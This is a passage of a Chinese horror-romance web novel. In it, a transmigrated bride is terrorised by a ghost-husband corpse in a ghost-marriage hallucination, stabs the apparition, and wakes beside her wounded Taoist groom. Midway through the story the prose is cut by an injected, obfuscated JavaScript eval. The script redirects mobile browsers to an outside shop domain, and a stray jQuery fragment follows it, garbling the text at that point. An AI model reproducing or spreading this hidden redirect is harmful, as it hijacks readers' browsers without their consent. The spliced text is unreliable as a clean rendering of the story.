说完,耳边就没了动静,连喷洒在耳侧的气息也一并消失。
而没有温度的手还笼罩在她的双眼,有着尸体同样的触感让林昭姝浑身颤抖,不敢轻举妄动。
她哆嗦着唇,问:“你,你……”
“嘘——”
手心里温热的液体滑过。
他怜惜道:“别哭。”
覆盖在林昭姝双眼的手抬起,两只手捧住她小巧灵动的脸蛋,拇指剐蹭在眼皮替她抚去眼泪。
他问:“还记得我吗?”
指腹压在林昭姝紧闭的眼皮上,听着陌生嘶哑的男声,林昭姝止住抽泣,在穿越过来继承的记忆里搜刮无果,如实道:“我不知道。”
双眼上的指腹突然用力,隔着皮肤欺压在她的眼珠,林昭姝心中一慌,想到男人方才在耳边祝贺新婚的话语,她忙壮着胆子试探。
“是、是来祝贺的朋友吗?”
“朋友?”低沉的男声带着一丝若有若无地哀怨,“你就是这样定义我们的关系吗?”
听到这种索要关系的话,林昭姝额间冒出细汗,千金的记忆里没有什么桃花债情史啊。
男人没等到回答,开始顺着林昭姝那句话,回答:“不是朋友,也不是祝贺。”
指腹在林昭姝的眼皮上打圈,勾勒着她眼珠的形状,阴测测地笑道:“是来提醒你。”
他的动作轻柔,声音却十分冷硬。
“听人说重婚是重罪,不贞的女子犯了是要遭脱衣的羞辱,然后受杖。”
“背夫改嫁,”他堵住林昭姝的辩驳,恶狠狠道:“是要被掐死的,知道吗?”
男人一只手的指腹紧压在她颤动的眼皮上,勒令林昭姝不许睁眼不许说话。
他拿过丢落在侧的红盖头为她披上,双手顺着光滑的脸蛋向下滑,停在洁白的脖颈间。
林昭姝僵滞着,感受到男人的动作,想起恐惧深处的记忆,小小惊喘,“不可能,不可能、鬼,鬼啊……”
林昭姝听到面前尸体胸腔里发出愉悦的笑声,貌似对林昭姝想起他亦或是承认那场冥婚很是满意。
男尸停滞在脖颈的手向下扯起红布的一角,紧接着小心、缓慢地挑起,像是在完成肃穆仪式般谨慎对待。
而对于林昭姝,等待掀开的过程则是一场凌迟。
她十分害怕,掀开盖头的一瞬间,映入眼帘的是一具干尸。
明亮的光线取代鲜红的视野,林昭姝双手紧握,听到隐含笑意的男声传来。
林昭姝的眼皮迟缓地上抬,听他说:“掀了盖头。”
一行血泪在男尸凄楚的脸上流淌,眼眶里的幽怨、狠毒都要溢出来,唇角却弯起痴痴地对她笑。
冰冷的手隔着红布捧起她的脸,迫使林昭姝仰面与他对视,他满意地说出下文。
“代表、一见定终身啊。”
林昭姝入眼一张死人脸,忍不住慌恐叫出声,扬起手去打开近在咫尺的鬼脸,妄想驱赶歪着的脑袋。
她疯狂排斥道:“滚、滚开……”
男尸脑袋一撇,轻松躲过林昭姝的巴掌,望着浑身流露他的厌恶的女人,眸光从暗沉到阴冷。
白皙脖颈的手陡然收紧,扼死林昭姝的咽喉,拖拽着拉下床榻。
摔倒在地的林昭姝蜷缩身躯,明明只有三五秒的窒息,却像无限拉长的慢倍速,她轻颤身体,摸上得到解放的脖颈,剧烈地咳动,仿佛要把肺都翻出来。
男尸视若无睹,朝她脚边丢了件东西,说道:“看看。”
林昭姝头顶就是阴暗青紫的鬼脸,她干呕一声,不敢不从地去摸脚边的物品。
失温的手很快浸入到一阵黏腻冰凉的液体中,林昭姝不敢去看,忍着恶心的触感,在血泊里抽出那把之前被她藏入枕下的剪刀。
视线里,抬起的手中,血液沿着锋利的刃尖滴在林昭姝苍白的脸颊。
男尸见到这一幕似乎愉悦了,夸赞她几句真乖,无视她的抗拒,双臂拖起林昭姝,让她靠在自己身前,指引她的视线看向前方。
血泊里一位深蓝衣袍的年轻男人性命垂危,狼狈的身形依在墙边,血色侵染的衣袍正源源不断地给地面输送鲜血。
“怎么样?”男尸在她耳边玩味道。
猝不及防看见这一幕的林昭姝瞳孔骤敛,沙哑的嗓子呜呜咽咽,男尸掐住她的下巴不让她错开,在她耳边恶鬼低语。
“心疼新夫君了?”
奄奄一息的道士半垂着眼,浑蒙的眼珠钉在她身上,毫无血色的薄唇艰难地开合,低声说了些什么,貌似在安抚脸色铁青的林昭姝,对她挤出一笑。
身边人幽幽道:“他看起来很痛苦。”
娇小可怜的女人在男尸怀里剧烈震颤,每声低吟都在抗拒,他却全然不顾,用寒冽瘆人的双手包裹住她小巧的手,胁迫她握紧剪刀。
“去杀了你的新夫君,给他一个解脱吧。”
林昭姝猛厉地摇头,在她恐慌害怕的眸中,男尸诱哄道:“乖,不然、我会杀了你。”
他想到什么,戏谑一笑。
“杀了你后,我会殉情。”
连死都不放过她。
林昭姝凝视着眼前早就没有生命特征的男尸,泪流满面,在他的催促下,她跪爬着站起身,腿脚发软,一步一个踉跄,绝望地朝道士靠近。
“呜……”
林昭姝泣泪不止,仿佛自己每一步都在迈向悬崖,她从前只是入殓尸体,从没有想过如今要把人变成尸体。
求你、
林昭姝望向温柔浅笑的男人,如果忽略他全身都在流血的惨状,那一定是个令人安心的笑容。
不要对我笑了。
道士仿佛不知道他即将要面临的未来,刺眼的笑容挂在破相的脸上,等待手握剪刀的林昭姝跌跌撞撞地走近。
他从灌满鲜血的嘴里发出嘶哑的一声。
“别怕……”
然后唇瓣无声地张合三次。
说,没关系。
“我不要……”
林昭姝闭上眼,摇头呢喃。
“我不要……”
我不要杀人。
林昭姝崩溃地大喊出声。
虚浮的脚底踩在地面上,一个拐弯,双目猩红地转身往后奔。
“你去死吧!你去死吧!”
她所有的力气都用在压制寒冷的尸体上,奋起、下落,利刃一下一下地刺入单薄的男尸干瘪孱弱的胸膛。
失焦的瞳孔收录着这场诡异的祸事,一道道鲜血在男尸体内泵发,飞越的血液擦过林昭姝眉间,凶残的力道逐渐减弱、平息。
林昭姝呆滞地望着青紫尸身,麻木的意识里自问,尸体还会有血吗?
林昭姝迟疑地伸出沾满鲜血的手,感受到干瘪胸膛里在狂热跳动的一颗心脏,她的指尖一烫似的瑟缩地后撤,眼前如梦如幻的尸身变成一道道被她扎出的血口。
林昭姝被禁锢在温热的怀中,不再寒冷,脑袋上宽厚的手掌一下一下地安抚,对她说。
“没事了没事了,娘子醒醒,都是梦。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861832|212034||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“抬起头看看我,没有事没有事……”
林昭姝呆滞地抬起泪痕与血痕交杂的脸,看着神情柔缓可亲的男人止不住哽咽。
想到方才道士遍体鳞伤的场景,她应激着呢喃:“不是梦,我没疯、我没——”
“好,我知道我知道的。”
道士抱紧林昭姝,要将她揉进自己血肉里,温和道:“是鬼侵体,邪祟近不了冲喜过的你所制造的幻境,不要怕。”
林昭姝捕捉到关键词,抓起他的手,慌忙道:“你相信我的,你相信真的有鬼,他们都不信我,都说我疯了,都说……”
道士在癫狂的林昭姝脑袋上轻啄了下,温声细语地安抚她,像哄做噩梦惊醒的孩子般一下一下轻拍她的背。
林昭姝在道士温暖的怀抱里不知过了多久,昏乱的神智和僵直的身体渐渐平复,堵塞许久的鼻息终于通畅,她这才嗅到空间中弥漫的血腥味。
冷静下来的林昭姝心里惊慌,推开道士的怀抱,垂眼一看,道士身上大大小小的血口都是被她拿剪刀捅伤的。
“对不起!我怎么……”林昭姝紧忙道歉,神色凝重又担忧,“很疼吧?你,你没必要受这些伤的,甩我一巴掌把我打醒不就好了?”
脸色沉重的道士听林昭姝这么一说,顿时轻笑出声,趁她没空注意,不客气地又在她乌黑圆润的脑袋上摸了几下。
道士嗤笑道:“伤害娘子是重刑,要下十八层地狱。”
林昭姝莫名回想到幻觉里鬼尸对她说的重婚刑法。
她看他一眼,迎上和煦的目光,不免跟着轻轻一笑,但很快,神色还是忧虑道:“我去给你叫大夫吧,太多血了……”
林昭姝真害怕他失血过多,不光道士的深蓝衣袍成了血衣,就连自己胸前和他相贴的衣料也被染红,全身都散发铁锈腥甜的味道。
道士赶忙拉住往外走的林昭姝,软声道:“不严重,你刺得不深,跟挠痒痒似的,过一天就愈合了。”
说着,在林昭姝疑虑的目光中为求自证,开始脱衣解带。
林昭姝不明所以地盯着道士的动作,等到掀开里衣的一角才反应过来,她干张了张唇,再三觉得这不是不好意思回避的时候,便待他脱完主动靠近观察伤势。
面对一拳距离的男性胸膛,林昭姝坦然疑问,道:“流那么多血伤口怎么才这么小?”
道士看向身前的林昭姝,往后挪开些距离,语调不自然道:“我念了护身法,当然没事。”
林昭姝退至正常距离,还是不解道:“那为什么流了那么多血?”
道士把带血的衣衫简单盖住身体,薄唇一勾,问:“想知道?”
林昭姝积极地点头,她甚至还想请教道士这个护身法怎么学,好让自己防范危险。
道士看着她,眼眸带笑,不正经道:“好为了让娘子担心啊。”
林昭姝愣了愣,就听他继续道。
“果然有用,娘子看见我血哗哗地流,小脸唰唰一白就不捅我了。”
林昭姝歪头听他笑闹,明白是在给自己缓解情绪,轻言回应了句。
“胡诌。”
道士说:“真心的。”
林昭姝坐在床侧,目光沉沉看向穿越到这里后,第一个对她的话表达信任和亲近的人。
林昭姝长睫覆眸,看着这位连名字都不清楚的新婚对象。
“我还不知道你叫什么名字。”
血腥味的婚房里,艳红色纱幔下。
道士说,没有人知道他的名字。